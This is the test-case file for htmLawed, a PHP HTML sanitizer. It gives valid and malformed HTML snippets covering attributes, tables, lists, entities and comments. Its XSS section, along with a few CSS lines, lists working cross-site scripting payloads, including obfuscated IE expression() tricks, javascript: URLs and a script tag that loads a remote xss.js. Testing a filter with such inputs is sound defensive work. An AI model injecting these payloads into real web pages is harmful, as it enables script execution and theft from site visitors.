extlib/htmLawed/htmLawed_TESTCASE.txt

   1 /*
   2 htmLawed_TESTCASE.txt, 23 April 2009
   3 htmLawed 1.1.8.1, 16 July 2009
   4 Copyright Santosh Patnaik
   5 GPL v3 license
   6 A PHP Labware internal utility - http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
   7 */
   8
   9 This file has UTF-8-encoded text with both correct and incorrect/malformed HTML/XHTML code snippets to test htmLawed (test cases/samples). The entire text may also be used as a unit.
  10
  11 ************************************************
  12 when viewing this file in a web browser, set the
  13 character encoding to Unicode/UTF-8
  14 ************************************************
  15
  16 --------------------- start --------------------
  17
  18 <em>Try different $config and $spec values. Some text even when filtered in will not be displayed in a rendered web-page</em><br />
  19
  20 <h6>Attributes</h6>
  21
  22 <strong>Xml:lang:</strong><a lang="en" xml:lang="en"></a>, <a lang="en"></a>, <a xml:lang="en"></a><br />
  23 <strong>Standard, predefined value, or empty attribute:</strong> <input type="text" disabled />, <input type="text" disabled="DISABLED" />, <input type="text" disabled="1" /><br />
  24 <strong>Required:</strong> <img />, <img alt="image" /><br />
  25 <strong>Quote & space variation:</strong> <a id=id1 name=xy>a</a>, <a id='id2' name="xy">a</a>, <a   id=' id3 ' name = "n"  >a</a><br />
  26 <strong>Invalid:</strong> <a id="id4" src="s">a</a><br />
  27 <strong>Duplicated:</strong> <a id="id5" id="id6">a</a><br />
  28 <strong>Deprecated:</strong> <a id="id7" target="self" name="n">a</a>, <hr noshade="noshade" /><br />
  29 <strong>Casing:</strong> <a HREF=""></a><br />
  30 <strong>Admin-restricted?:</strong> <a href="x" onclick="alert();"></a>
  31
  32 <h6>Attribute values</h6>
  33
  34 <strong>Duplicate ID value:</strong><a id="id8"></a>, <a id="my_id8"></a>, <a id="id8"></a><br />
  35 (try 'my_' for prefix)<br />
  36 <strong>Double-quotes in value:</strong><a title=ab"c"></a>, <a title="ab"c"></a>, <a title='ab"c'></a><br />
  37 (try filter for CSS expression)<br />
  38 <strong>CSS expression</strong>: <div style="prop:expression();"></div><div style="prop:expression()"></div><div style="prop: expression();"></div><div style="prop : expression()"></div><div style="prop:expression(js);"></div><div style="prop:expression(js;)"></div><div style="prop: expression('js');"></div><div style="prop : expr ession('js':)"></div><div style="prop&#x3a;expression( 'js&#x40; );"></div><br />
  39 <strong>Other:</strong> <input size="50" class="my" value="an input an input an input" />, <input size="5" class="your" value="an input" /><br />
  40 (try 'maxlen', 'maxval', etc., for 'input' in '$spec')
  41
  42 <h6>Blockquotes</h6>
  43
  44 <blockquote>abc</blockquote><br />
  45 <blockquote>abc<div>def</div></blockquote><br />
  46 <blockquote><div>abc</div>def</blockquote><br />
  47 <blockquote>abc<div>def</div>ghi</blockquote><br />
  48 abc<div>def</div>ghi<br />
  49 (try with blockquote parent)
  50
  51 <h6>CDATA sections</h6>
  52
  53 <strong>Special characters inside:</strong> <![CDATA[ ]]> ]]>, <![CDATA[ 3 < 4 > 3.5, & 4 &gt; 4 ]]><br />
  54 <strong>Normal:</strong> <![CDATA[ check ]]>, <em>CDATA follows:<![CDATA[ check ]]></em><br />
  55 <strong>Malformed:</strong> <![cdata check ]]>, < ![CDATA check ]]>, <![CDATA check ]]>, < ![CDATA check ] ]><br />
  56 <strong>Invalid:</strong> <em <![CDATA[ check ]]>>CDATA in tag content</em>, <table><![CDATA[ check ]]><tr><td>text not allowed</td></tr></table>
  57
  58 <h6>Complex-1: deprecated elements</h6>
  59
  60 <center>
  61 The PHP <s>software</s> script used for this <strike>web-page</strike> webpage is <font style="font-weight: bold " face=arial size='+3' color   =  "red  ">htmLawedTest.php</font>, from <u style= 'color:green'>PHP Labware</u>.
  62 </center>
  63
  64 <h6>Complex-2: deprecated attributes</h6>
  65
  66 <img src="s" alt="a" name="n" /><img src="s" alt="a" id="id9" name="n" />
  67 <br clear="left" />
  68 <hr noshade size="1" />
  69 <img name="id10" src="s" align="left" alt="image" hspace="10" vspace="10" width="10em" height="20" border="1" style="padding:5px;" />
  70 <table width="50em" align="center" bgcolor="red">
  71      <tr>
  72       <td width="20%">
  73        <div align="center">
  74         <h3 align="right">Section</h3>
  75         <p align="right">Para</p>
  76         <ol type="a" start="e"><li value="x"><a name="x">First</a> <a name="x" id="id11">item</a></li></ol>
  77        </div>
  78       </td>
  79       <td width="*">
  80        <ol type="1"><li>First item</li></ol>
  81       </td>
  82      </tr>
  83     </table>
  84 <br clear="all" />
  85
  86 <h6>Complex-3: embed, object, area</h6>
  87
  88 <object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/ls7gi1VwdIQ"></param><embed src="http://www.youtube.com/v/ls7gi1VwdIQ" type="application/x-shockwave-flash" width="425" height="350"></embed></object><br />
  89
  90 <embed src="http://www.youtube.com/v/ls7gi1VwdIQ" type="application/x-shockwave-flash" width="425" height="350"></embed><br />
  91
  92 <object data="1.gif" type="image/gif" usemap="#map1"><map name="map1">
  93 <p>navigate the site: <a href="1" shape="REct" coOrds="0,0,118,28">1</a> | <a href="3" shape="circle" coords="184,200,60">3</a> | <a href="4" shape="poly" coords="276,0,276,28,100,200,50,50,276,0">4</a></p>
  94 <area href="5" shape="Rect" coords="0,0,118,28">
  95 </map></object>
  96
  97 <h6>Complex-4: nested and other tables</h6>
  98
  99 <table border="1" bgcolor="red"> <tr> <td> Cell </td> <td colspan="2" rowspan="2"> <table border="1" bgcolor="green"> <tr> <td> Cell </td> <td colspan="2" rowspan="2"> </td> </tr> <tr> <td> Cell </td> </tr> <tr> <td> Cell </td> <td> Cell </td> <td> Cell </td> </tr> </table> </td> </tr> <tr> <td> Cell </td> </tr> <tr> <td> Cell </td> <td> Cell </td> <td> Cell </td> </tr> </table><br />
 100 <strong>PCDATA wrong:</strong> <table>Well<caption>Hello</caption></table><br />
 101 <strong>Missing tr:</strong> <table><td>Well</td></table><br />
 102
 103 <h6>Complex-5: pseudo, disallowed or non-HTML tags</h6>
 104
 105 (Try different 'keep_bad' values)
 106 <*> Pseudotags <*>
 107 <xml>Non-HTML tag xml</xml>
 108 <p>
 109 Disallowed tag p
 110 </p>
 111 <ul>Bad<li>OK</li></ul>
 112
 113 <h6>Elements</h6>
 114
 115 <strong>Unbalanced:</strong> <a href="h"><em>check</a></em><br />
 116 <strong>Non-XHTML:</strong> <div><center><dir></dir></center></div><br />
 117 <strong>Malformed:</strong> < a href=""></a>, <a href=""  ></a>, <a href=""     ></a>, <a href=""
 118 ></a>, <a href="">< /a>, < a href=""></a >, <img src="s" alt="a"   />, <img src="s" alt="a"/ >, <imgsrc="s" alt="a" /><br />
 119 <strong>Invalid:</strong> <image src="s" alt="a" /><br />
 120 <strong>Empty:</strong> <img src="s" alt="a" />, <img src="s" alt="a"></img>, <img src="s" alt="a">text</img><br />
 121 <strong>Content invalid:</strong> <a href="h">1<a>2</a></a><br />
 122 <strong>Content invalid?:</strong> <form></form><br /> (try setting 'form' as parent)
 123 <strong>Casing:</strong> <A href=""></a>
 124
 125 <h6>Entities</h6>
 126
 127 <strong>Special:</strong> &amp; 3 < 2 & 5>4 and j >i >a & i<j>a<br />
 128 <strong>Padding:</strong> &#00066; &#066; &#x00066; &#x066; &#x003; &#0003;<br />
 129 <strong>Malformed:</strong> & #x27;, &x27;, &#x27; &TILDE;, &tilde<br />
 130 <strong>Invalid:</strong> &#x3;, &#55296;, &#03;, &#1114112;, &#xffff, &bad;<br />
 131 <strong>Discouraged characters:</strong> &#x7f;, &#132;, &#64992;, &#1114110;<br />
 132 <strong>Context:</strong> '&gt;', &lt;?<br />
 133 <strong>Casing:</strong> &#X27;, &#x27;, &TILDE;, &tilde;
 134 <br />
 135 (also check named-to-numeric and hexdec-to-decimal, and vice versa, conversions)
 136
 137 <h6>Format</h6>
 138
 139 <strong>Valid but ill-formatted:</strong> text <!-- comment -->
 140 text <!--
 141 A   c  o  m  m  e  n  t -->
 142 <script>
 143         <![CDATA[
 144                 code
 145         ]]>
 146 </script><!-- comment --><![CDATA[ cdata ]]> <a>text</b> text<pre id="none">p r e</pre>
 147 <textarea>text</textarea>         <textarea>
 148           text  text
 149 </textarea>             text  text <br /><hr />
 150 text <img src="none" alt="none" /> t<em class="none">e<strong>x</strong>t</em>
 151 text <img src="none" alt="none" />      <b>t<em> e <strong> x </strong> t</em></b>
 152         <a href="a">    text <img src="none" alt="none" />      <b>t <em> e <strong> x </strong> t</em></b>
 153         </a>
 154 <span style="background-color: yellow;">text <img src="none" alt="none" />      <b> <em> t e <strong> x </strong> t</em></b></span>
 155 <script>script</script>
 156 <div>
 157         <pre id="none">p <a>r</a> e <!-- comment --> </pre>
 158                 <pre>
 159                                 pre
 160                 </pre>
 161 </div>
 162 <div><div><table border="1" style="background-color: red;"><tr><td>Cell</td><td colspan="2" rowspan="2"><table border="1" style="background-color: green;"><tr><td>Cell</td><td colspan="2" rowspan="2"></td></tr><tr><td>Cell</td></tr><tr><td>Cell</td><td>Cell</td><td>Cell</td></tr></table></td></tr><tr><td>Cell</td></tr><tr><td>Cell</td><td>Cell</td><td>Cell</td></tr></table></div></div>
 163 (try to compact or beautify)
 164
 165 <h6>Forms</h6>
 166
 167 (note nesting of 'form', missing required attributes, etc.)<br />
 168 <form>
 169 <script type="text/javascript">s</script>
 170 <fieldset><legend>p</legend>l <input name="personal_lastname" type="text" tabindex="1"></fieldset>
 171 <input name="h" type="checkbox" value="h" tabindex="20"> h
 172 <textarea name="t">t</textarea>
 173 <form action="a" method="get"></form></form><br />
 174 <form action="b" method="get"><p><input type="text" value="i" /></form><br />
 175 <form>B:<input type="text" value="b" />C:<input type="text" value="c" /></form><br />
 176 (try each of these lines separately)<br />
 177 <form action="a">what<br />
 178 <form action="a">what
 179 (try with container as div and as form)<br />
 180 <form>c <a>a</a> <b>b</b><input /><script>s</script>
 181
 182 <h6>HTML comments (also CDATA)</h6>
 183
 184 Special characters inside: <!-- <![CDATA check ]]> -->, <!-- 3 < 4 > 3.5, & 4 &gt; 4 -->, <!-- che--ck -->, <!--[if !IE]> <--><a>c</a><!--> <![endif]--><br />
 185 Normal: <!-- check -->, <!--check -->, <em>comment:<!-- check --></em><!-- check -->, <table><!-- check --><tr><td>text not allowed</td></tr></table><br />
 186 Malformed: <![cdata check ]]>, < ![CDATA check ]]>, < ![CDATA check ] ]><br />
 187 Invalid: <em <!-- check -->>comment in tag content</em>, <!--check-->
 188
 189 <h6>Ins-Del</h6>
 190
 191 (depending on context, these elements can be of either block or inline type)<br />
 192 <p><ins datetime="d" cite="c"><div>block</div></ins></p><br />
 193 <p><del>d</del></p><br />
 194 <p><ins><del>d</del></ins></p><div><ins><p><del><div>d</div></del></p></ins></div><ins><div>d</div></ins>
 195
 196 <h6>Lists</h6>
 197
 198 <strong>Invalid character data</strong>: <ul><li>(item</li>)</ul><br />
 199 <strong>Definition list</strong>: <dl><dt>a</dt>bad<dd>first <em>one</em></dd><dt>b</dt><dd>second</dd></dl><br />
 200 <strong>Definition list, close-tags omitted</strong>: <dl><dt>a</dt>bad<dd>first <em>one</em></dd><dt>b<dd>second</dl><br />
 201 <strong>Definition lists, nested</strong>: <dl>
 202  <dt>T1</dt>
 203  <dd>D1</dd>
 204  <dt>T2</dt>
 205  <dd>D2<dl><dt>t1</dt><dd>d1</dd><dt>t2</dt><dd>d2</dd></dl></dd>
 206  <dt>T3</dt>
 207  <dd>D3</dd>
 208  <dt>T4</dt>
 209  <dd>D4<dl><dt>t1</dt><dd>d1</dd></dl></dd>
 210 </dl><br />
 211 <strong>Definition lists, nested, close-tags omitted</strong>: <dl>
 212  <dt>T1
 213  <dd>D1</dd>
 214  <dt>T2</dt>
 215  <dd>D2<dl><dt>t1<dd>d1<dt>t2</dt><dd>d2</dd></dl></dd>
 216  <dt>T3
 217  <dd>D3
 218  <dt>T4
 219  <dd>D4<dl><dt>t1<dd>d1</dl></dd>
 220 </dl><br />
 221 <strong>Nested</strong>: <ul>
 222  <li>l1</li>
 223  <li>l2<ol><li>lo1</li><li>lo2</li></ol></li>
 224  <li>l3</li>
 225  <li>l4<ol><li>lo3</li><li>lo4<ol><li>lo5</li></ol></li></ol></li>
 226 </ul><br />
 227 <strong>Nested, close-tags omitted</strong>: <ul>
 228  <li>l1</li>
 229  <li>l2<ol><li>lo1<li>lo2</ol>
 230  <li>l3
 231  <li>l4<ol><li>lo3<li>lo4<ol><li>lo5</ol></ol>
 232 </ul><br />
 233 <strong>Complex</strong>:
 234 <ol><script></script><li><table><tr><td>
 235 <ul><li id="search" class="widget widget_search">                       <form id="searchform" method="get" action="http://kohei.us">
 236                         <div>
 237
 238                         <input type="text" name="s" id="s" size="15" /><br />
 239                         <input type="submit" value="Search" />
 240                         </div>
 241                         </form>
 242                 </li></ul>
 243 </td></tr></table></li></ol>
 244
 245 <h6>Non-English text-1</h6>
 246
 247 Inscrieţi-vă acum la a Zecea Conferinţă Internaţională<br />
 248 გთხოვთ ახლავე გაიაროთ რეგისტრაცია<br />
 249 večjezično računalništvo<br />
 250 <a title="הירשמו
 251 כעת לכנס ">Зарегистрируйтесь сейчас
 252 на Десятую Международную Конференцию по</a><br />
 253 (this file should have utf-8 encoding; some characters may not be displayed because of missing fonts, etc.)
 254
 255 <h6>Non-English text-2: entities</h6>
 256
 257 &#29992;&#32479;&#19968;&#30721;<br />
 258 &#4306;&#4311;&#4334;&#4317;&#4309;&#4311;<br />
 259 Inscreva-se agora para a D&#233;cima Confer&#234;ncia Internacional Sobre O Unicode, realizada entre os dias 10 e 12 de mar&#231;o de 1997 em Mainz
 260 na Alemanha.
 261
 262 <h6>Ruby</h6>
 263
 264 (need compatible browser)<br />
 265 <ruby xml:lang="ja">
 266   <rbc>
 267     <rb>斎</rb>
 268     <rb>藤</rb>
 269     <rb>信</rb>
 270     <rb>男</rb>
 271   </rbc>
 272   <rtc class="reading">
 273     <rt>さい</rt>
 274     <rt>とう</rt>
 275     <rt>のぶ</rt>
 276     <rt>お</rt>
 277   </rtc>
 278   <rtc class="annotation">
 279     <rt rbspan="4" xml:lang="en">W3C Associate Chairman</rt>
 280   </rtc>
 281 </ruby><br />
 282 <ruby>
 283   <rb>WWW</rb>
 284   <rp>(</rp><rt>World Wide Web</rt><rp>)</rp>
 285 </ruby><br />
 286 <ruby>
 287   A
 288   <rp>(</rp><rt>aaa</rt><rp>)</rp>
 289 </ruby>
 290
 291 <h6>Tables</h6>
 292
 293 <strong>Omitted closing tags:</strong> <table>
 294 <colgroup><col style="x" /><col style="y" />
 295 <thead>
 296 <tr><th>h1c1<th>h1c2
 297 <tbody>
 298 <tr><td>r1c1<td>r1c2
 299 <tr><td>r2c1<td>r2c2
 300 </table><br />
 301 <strong>Nested, omitted closing tags:</strong> <table>
 302 <colgroup><col style="x" /><col style="y" />
 303 <thead>
 304 <tr><th>h1c1<th>h1c2
 305 <tbody>
 306 <tr><td>r1c1<td>r1c2<table>
 307 <colgroup><col style="x" /><col style="y" />
 308 <thead>
 309 <tr><th>h1c1<th>h1c2
 310 <tbody>
 311 <tr><td>r1c1<td>r1c2
 312 <tr><td>r2c1<td>r2c2
 313 </table>
 314 <tr><td>r2c1<td>r2c2
 315 </table><br />
 316
 317 <h6>URLs</h6>
 318
 319 <strong>Relative and absolute:</strong> <a href="mailto:x"></a>, <a href="http://a.com/b/c/d.f"></a>, <a href="./../d.f"></a>, <a href="./d.f"></a>, <a href="d.f"></a>, <a href="#s"></a>, <a href="./../../d.f#s"></a><br />
 320 (try base URL value of 'http://a.com/b/')<br />
 321 <strong>CSS URLs:</strong> <div style="background-image: url('a.gif');"></div>, <div style="background-image: URL(&quot;a.gif&quot;);"></div>, <div style="background-image: url('http://a.com/a.gif');"></div>, <div style="background-image: url('./../a.gif');"></div>, <div style="background-image: &#117;r&#x6C;('js&#58;xss'&#x29;"></div><br />
 322 <strong>Anti-spam:</strong> (try regex for 'http://a.com', etc.) <a href="mailto:x@y.com"></a>, <a href="http://a.com/b@d.f"></a>, <a href="a.com/d.f" rel="nofollow"></a>, <a href="a.com/d.f" rel="1, 2"></a>, <a href="a.com/d.f"></a>, <a href="b.com/d.f"></a>, <a href="c.com/d.f"></a><br />
 323
 324 <h6>XSS</h6>
 325
 326 '';!--"<xss>=&{()}<br />
 327 <img src="javascript%3Aalert('xss');" /><br />
 328 <img src="javascript:alert('xss');" /><br />
 329 <img src="java script:alert('xss');" /><br />
 330 <img
 331 src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41; /><br />
 332 <div style="javascript:alert('xss');"></div><br />
 333 <div style="background-image:url(javascript:alert('xss'));"></div><br />
 334 <div style="background-image:url(&quot;javascript:alert('xss')&quot; );"></div><br />
 335 <!--[if gte IE 4]><script>alert('xss');</script><![endif]--><br />
 336 <script a=">" src="http://ha.ckers.org/xss.js"></script><br />
 337 <div style="background-image: &#117;r&#x6C;('js&#58;xss'&#x29;"></div><br />
 338 <a style=";-moz-binding:url(http://lukasz.pilorz.net/xss/xss.xml#xss)" href="http://example.com">test</a><br />
 339 <strong>Bad IE7:</strong> <a href="http://x&x=%22+style%3d%22background-image%3a+expression%28alert
 340 %28%27xss%3f%29%29">x</a><br />
 341 <strong>Bad IE7:</strong> <a style=color:expr/*comment*/ession(alert(document.domain))>xxx</a><br />
 342 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp&#x72;ession(alert('xss'));">xxx</a><br />
 343 <strong>Bad IE7:</strong> <a href="xxx" style="background: &#101;xpression(alert('xss'));">xxx</a><br />
 344 <strong>Bad IE7:</strong> <a href="xxx" style="background: %45xpression(alert('xss'));">xxx</a><br />
 345 <strong>Bad IE7:</strong> <a href="xxx" style="background:/**/expression(alert('xss'));">xxx</a><br />
 346 <strong>Bad IE7:</strong> <a href="xxx" style="background:/**/&#69;xpression(alert('xss'));">xxx</a><br />
 347 <strong>Bad IE7:</strong> <a href="xxx" style="background:/**/Exp&#x72;ession(alert('xss'));">xxx</a><br />
 348 <strong>Bad IE7:</strong> <a href="xxx" style="background: expr%45ssion(alert('xss'));">xxx</a><br />
 349 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp/* */ression(alert('xss'));">xxx</a><br />
 350 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp /* */ression(alert('xss'));">xxx</a><br />
 351 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp/ * * /ression(alert('xss'));">xxx</a><br />
 352 <strong>Bad IE7:</strong> <a href="xxx" style="background:/* x */expression(alert('xss'));">xxx</a><br />
 353 <strong>Bad IE7:</strong> <a href="xxx" style="background:/* */ */expression(alert('xss'));">xxx</a><br />
 354 <strong>Bad IE7:</strong> <a href="x" style="width: /****/**;;;;;;*/expression/**/(alert('xss'));">x</a><br />
 355 <strong>Bad IE7:</strong> <a href="x" style="padding:10px; background:/**/expression(alert('xss'));">x</a><br />
 356 <strong>Bad IE7:</strong> <a href="x" style="background: huh /* */ */expression(alert('xss'));">x</a><br />
 357 <strong>Bad IE7:</strong> <a href="x" style="background:/**/expression(alert('xss'));background:/**/expression(alert('xss'));">x</a><br />
 358 <strong>Bad IE7:</strong> exp/*<a style='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>x</a><br />
 359 <strong>Bad IE7:</strong> <a style="background:&#69;xpre\ssion(alert('xss'));">hi</a><br />
 360 <strong>Bad IE7:</strong> <a style="background:expre&#x5c;ssion(alert('xss'));">hi</a><br />
 361 <strong>Bad IE7:</strong> <a style="color: \0065 \0078 \0070 \0072 \0065 \0073 \0073 \0069 \006f \006e \0028 \0061 \006c \0065 \0072 \0074 \0028 \0031 \0029 \0029">test</a><br />
 362 <strong>Bad IE7:</strong> <a style="xss:e&#92;&#48;&#48;&#55;&#56;pression(window.x?0:(alert(/XSS/),window.x=1));">hi</a><br />
 363 <strong>Bad IE7:</strong> <a style="background:url('java
 364 script:eval(document.all.mycode.expr)')">hi</a><br />
 365
 366 <h6>Other</h6>
 367
 368 3 < 4 <br />
 369 3 > 4 <br />
 370   > 3 <br />